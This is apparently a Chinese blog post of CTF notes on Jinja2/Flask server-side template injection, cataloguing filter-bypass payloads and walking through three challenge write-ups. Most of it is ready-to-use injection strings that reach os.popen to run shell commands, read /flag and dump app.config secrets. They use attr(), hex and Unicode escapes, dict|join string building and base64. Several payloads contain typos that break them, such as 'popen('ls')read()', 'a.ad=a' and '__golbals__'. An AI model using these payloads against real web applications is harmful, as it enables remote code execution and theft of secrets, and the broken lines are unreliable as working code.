SSTI的绕过姿势

记得加上read() !!!

一、过滤了双层的大括号 {{}}或者中括号 []

可以使用{%%}来进行绕过

{%%}主要就是jinjia模板引擎的语法标记,用于在 HTML 模板中编写逻辑控制语句
【1】{%print(......)%}`的形式来代替{{ }},这里调用了全局函数lipsum

{%print(lipsum.__globals__.os.popen('ls').read())%}

【2】这里在一开始的时候通过{%...%}载入了两个循环语句,通过for和if遍历函数,寻找出'catch_warnings'这一命令然后将其命名为c,再通过找出的c命令组合构造语句,执行命令,最后用在引入两个end语句来终止前面的for和if的循环语句

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

注:与lipsum等价的还有:

(1)url_for

{{url_for.__globals__.os.popen('ls').read()}}

(2)get_flashed_messages

{{get_flashed_messages.__globals__.os.popen('ls').read()}}

(3)config

{{config.__class__.__init__.__globals__['os'].popen('ls')read()}}

(4)cycler(jinja2的内置对象)

{{ cycler.__init__.__globals__.os.popen('env').read() }}

二、过滤了单、双引号(request来绕过)

注:长度绕过也可以用request

{{url_for.__globals__[request.args.a]}}
{{lipsum.__globals__.os[request.args.a]}}

这里我们知道是过滤了单双引号,所以我们可用直接使用request来绕过
注意这里的request不是python的库而是flask的内部函数
这里把request里的所有东西都展示出来:

request.args.key #获取get传入的key的值
request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key #获取所有参数,如果get和post有同一个参数post的参数会覆盖get
request.cookies.key #获取cookies传入参数
request.headers.key #获取请求头请求参数
request.data #获取post传入参数(Content-Type:a/b)
request.json #获取post传入json参数 (Content-Type: application/json)

这里用的是第一个其它也大差不差,这里只需要把存在单双引号的地方换掉就可用了,payload如下:

url传参:http://xxx/?a=ls
post请求体里面写:code={{lipsum.__globals__os.popen(request.args.a).read()}}

三、过滤下划线_

可以编码绕过 python解析器支持 hex ,unicode编码
{{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('ls').read()}}
#\x5f是_的十六进制编码

或者request也可以

?name={{(lipsum|attr(request.values.a))|os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag

四、过滤了点号.

(1)方法一用[]代替.(前提是[]没被过滤)

{{lipsum['__globals__']['os']['popen']('ls')['read']()}}

(2)方法二:当点号和[]同时被过滤,用attr()绕过

在 Flask 中,attr()Jinja2 模板引擎提供的一个内置过滤器(不是 Flask 特有的函数),用于动态访问对象的属性或字典的键。它的核心作用是在模板中处理变量名不确定或需要动态计算的情况。

{{lipsum|attr("__globals__")|attr("get")("os")|attr("popen")("ls")|attr("read")()}}

可以看到payload大部分都只是把中括号和里面的内容改|attr("内容")除了|attr("get")("os")这一部分

|attr("get")("os")这部分是从全局字典中获取 os 模块(关键攻击跳板)

注意: 在 Jinja2 中,attr 过滤器其实就是 getattr 的模板版封装。
{{ obj|attr('name') }} 等同于 {{ getattr(obj, 'name') }}

五、过滤关键字

(1)用''拼接(双引号""也行)

过滤关键字看着很吓人但是绕过是非常简单直接用''进行拼接绕过就行

image

本关对很多关键字都进行了过滤但是我们直接用[]绕过再把''加在关键字的中间就可以了

{{lipsum['__glob'als__']['os']['pop''en']('ls').read()}}

(2)用getattr绕过

Python 内置函数 getattr(),作用是通过字符串来获取对象的属性或方法

用法:getattr(object, name)=obj.name

【1】''.__class__  等效于  getattr('', '__class__')
【2】''.__class__.__bases__[0].__subclasses__  等效于
getattr(getattr(getattr('', '__class__'), '__bases__')[0], '__subclasses__')

(3)常用的过滤器

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};

list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload;

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length()返回字符串的长度,别名是count

六、过滤了单双引号',",request,点号.,中括号[],以及加号+

绕过:{%set %}拼接

目标:{{lipsum.__globals__['os'].popen('ls').read()}}
a.构造__globals__
{%set a=dict(__glo=a,bals__=a)|join%}

b.构造os
{%set b=dict(o=a,s=a)|join%}

c.构造popen
{%set c=dict(po=a,pen=a)|join%}

cmd.构造ls
{%set cmd=dict(l=a,s=a)|join%}

d.构造read
{%set d=dict(re=a.ad=a)|join%}

e.构造__getitem__
{%set e=dict(__ge=a,titem__=a)|join%} 
#注:也可以构造get
{%set e=dict(ge=a,t=a)|join%}

f.构造__builtins__
{%set f=dict(__buil=a,tins__=a)%}

g.构造 chr 字符
{%set ch=dict(ch=a,r=a)|join%}

{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

最后如果是通过post的code传参,记得选择application/x-www-from-urlencode(raw),post体里面写上

code={%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set cmd=dict(l=a,s=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(ge=a,t=a)|join%} 
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

七、过滤了下划线、点号,数字(0-9),单双引号,中括号[]

string()过滤器,强行变成字符,list过滤器将字符拆分成列表,这里直接把lipsum强行转换成字符串

(1)

{%set a=(lipsum|string)%}{{a}}
##输出Hello <function generate_lorem_ipsum at 0x0000017DCC13BF60>

(2)

{%set a=(lipsum|string|list)%}{{a}}
##输出Hello ['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '0', '0', '0', '0', '0', '1', '7', 'D', 'C', 'C', '1', '3', 'B', 'F', '6', '0', '>']

可以看到列表的19个为_,因为从0计数,也就是18

{%set a=(lipsum|string|list)%}{{a[18]}}为下划线

但他还过滤了数字,所以还要转变,这里使用count计算字符串长度

{%set sb=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}{{sb}}
##输出18

注:他这里命令执行cat flag不能直接执行,有空格,所以还要搞一个空格

{%set nine=dict(aaaaaaaaa=a)|join|count%} //输出为9

最后的payload:

code={%set num=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set getitem = dict(pop=a)|join%}
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{% set sb=lipsum|string|list|attr(getitem)(num)%}
{%set space=lipsum|string|list|attr(getitem)(nine)%}
{%set a=(sb,sb,dict(glo=a,bals=a)|join,sb,sb)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set cmd=(dict(ca=a,t=a)|join,space,dict(flag=a)|join)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(ge=a,t=a)|join%} 
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}
{%set cmd=dict(l=a,s=a)|join%}

八、unicode字符绕过(过滤了数字,字符)

在LiCTF的一道杂项题目中看到的思路

Python 在解析源码时,会对所有的标识符(变量名、函数名等)进行 NFKC 规范化(Normalization Form KC)。这意味着许多看起来像特殊字符或全角字符的 Unicode 字符,在被 Python 解释器读取后,会被自动转换回对应的标准ASCII 字符。
然而,题目中的过滤函数 banned(line) 是在 eval() 执行之前,直接对你输入的原始字符串进行正则匹配。
• 如果你输入 eval,会被正则拦截。
• 如果你输入数学符号形态的 eval(\uff45\uff56\uff41\uff4c),正则匹配不到它,但 Python 解释器在执行时会把它当作标准的 eval 标识符来处理

原理:

很多 Web 框架(尤其是 Flask/Jinja2)在处理用户输入时,会先对输入进行 Unicode 规范化(NFKC 或 NFKD 形式)。这意味着,如果你输入的字符是全角形式的 {{,后端在处理时可能会自动将其转换为半角的 {{,从而被模板引擎解析执行。

但 WAF 通常只对半角字符(如 {')进行检测,对全角字符(如 )则不会拦截。这就形成了绕过

命令:

python3 -c "print(''.join(chr(ord(c) + 65248) for c in 'open'))"

图片

九、base64编码绕过

对引号内的代码进行base64编码后再后接.decode('base64')可以进行绕过

例如

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

编码后为

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}

只要是字符串的,即payload中引号内的,都可以用编码绕过。同理还可以进行rot13,16进制编码。这一切都是基于我们可以执行命令实现的

实例讲解:

一、字符串拼接绕过

题目:[CSCCTF 2019 Qual]FlaskLight ----buuctf

from flask
import Flask, request, render_template_string, abort app = Flask(__name__) app.secret_key = 'CCC{f4k3_Fl49_:v} CCC{the_flag_is_this_dir}'
result = ["CCC{Fl49_p@l5u}", "CSC CTF 2019", "Welcome to CTF Bois", "CCC{Qmu_T3rtyPuuuuuu}", "Tralala_trilili"] @app.route("/") def search(): global result blacklist = ['url_for', 'listdir', 'globals'] search = request.args.get('search') or None
if search is not None: for black in blacklist: if black in search: abort(500) if search in result: result = search
return render_template_string(''
  '<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3> </body> </html>'
  '' % (search, result)) elif search == None: return render_template_string(''
  '<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3><br> <!-- Parameter Name: search --> <!-- Method: GET --> </body> </html>'
  '' % (search, result))
else :result = []
return render_template_string(''
  '<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3> </body> </html>'
  '' % (search, result)) if __name__ == "__main__": app.run(host = "0.0.0.0", port = 9000)

输入/?search={{config}}发现没有被过滤,但是输入/?search={{globals}},发现globals被过滤了

采用字符拼接绕过,通过 __globals__ 可以访问到 os 模块

# os.popen() 是 os 模块中的一个方法,用于执行系统命令并返回一个文件对象
# read() 是文件对象的方法,用于读取命令执行的结果
?search={{config.__init__['__global'+'s__'].os.popen("whoami").read()}}

二、attr 过滤器-jinja2,再加上十六进制编码绕过

当过滤了点号(.)、下标语法([])、getattr、下划线(_)等等

(1)通过分析 Jinja2 的过滤器,发现可以使用 attr 过滤器来访问对象属性,而无需使用 .

(2)Python 字符串可以通过字节表示来绕过字符过滤,例如使用 \x5f 代替 _

2️⃣ |attr('__class__')

Jinja2 的 attr 过滤器允许访问对象的属性,相当于 Python 里的 getattr(obj, attr_name)

config|attr('__class__') == getattr(config, "__class__")

十六进制编码

{{config|attr('\x5f\x5fclass\x5f\x5f')}}

2️⃣ |attr('\x5f\x5fclass\x5f\x5f')

这里的 \x5f 是下划线 _ 的十六进制表示

  • 所以这一步相当于 config.__class__,即得到类对象 <class 'flask.config.Config'>

3️⃣ |attr('\x5f\x5finit\x5f\x5f')

  • 访问 Config 类的 __init__ 方法(构造函数)

4️⃣ |attr('\x5f\x5fglobals\x5f\x5f')

  • 每个函数对象都有 __globals__ 属性 → 它是一个字典,表示这个函数定义时的全局命名空间
  • 也就是说,这里我们拿到了 Config.__init__ 的全局变量字典

里面通常包含:

  • __builtins__
  • os
  • sys
  • 其他 Flask / Python 全局对象

5️⃣ |attr('\x5f\x5fgetitem\x5f\x5f')('os')

  • __getitem__ 是 Python 容器类型(比如字典)的取值方法,相当于 dict['key']
  • 这里调用 __getitem__('os'),相当于:
config.__class__.__init__.__globals__['os']

最后,执行读取flag的命令:

{{ config | attr('\x5f\x5fclass\x5f\x5f') | attr('\x5f\x5finit\x5f\x5f') | attr('\x5f\x5fglobals\x5f\x5f') | attr('\x5f\x5fgetitem\x5f\x5f')('os') | attr('popen')('cat flag') | attr('read')() }}

拿到 OS 模块

{{config|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('os')}}

三、url_for 函数模板注入攻击(读取config配置)

url_for和get_flashed_messages函数具有访问Flask内部全局变量的能力

题目源码:

import flask
import os

app = flask.Flask(__name__) 
/*创建了flask包下的Flask类的对象name是一个适用于多数情况的快捷方式有了这个参数Flask才知道在哪里可以找到模板和静态文件*/

app.config['FLAG'] = os.environ.pop('FLAG')
//这句话的意思就是说flag在app的config变量里


@app.route('/')

/* @app.route(url) 是Flask框架中的一个装饰器他的作用是在程序运行时装饰一个视图函数用给定的url规则和选项注册他*/

def index():
    return open(__file__).read() //相当于返回源码也就是我们看到源码的页面


@app.route('/shrine/<path:shrine>')
//这个是带参数的写法
def shrine(shrine): // 这里shrine的值就是上面的 <path:shrine>

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '') // 先将 ) 替换为 再将 ( 替换为 
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 
//匹配黑名单,将匹配到的config和self换成空字符

    return flask.render_template_string(safe_jinja(shrine)) 
// 这句话就是调用了过滤函数对用户输入的网址进行过滤


if __name__ == '__main__':
    app.run(debug=True) //如果这个python是主程序则启动app

(1)输入http://xxx/shrine/{{7*7}},页面返回49

(2)接着分析源码,第一段注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{{config}}即可查看所有app.config内容, 或者{{self.dict}}来获取变量,但是这题设了黑名单[‘config’,‘self’] 并且在第二段过滤了括号

app.config['FLAG'] = os.environ.pop('FLAG')
s = s.replace('(', '').replace(')', '') 
blacklist = ['config', 'self']

尝试通过全局变量实现沙盒逃逸

python还有一些内置函数,比如url_for和get_flashed_messages

访问http://xxx/shrine/{{url_for.__golbals__}}

看到current_app意思应该是当前app,那我们就当前app下的config:

/shrine/{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

拿到flag

posted @ 2026-06-18 13:16  Doll_Marker  阅读(22)  评论(0)    收藏  举报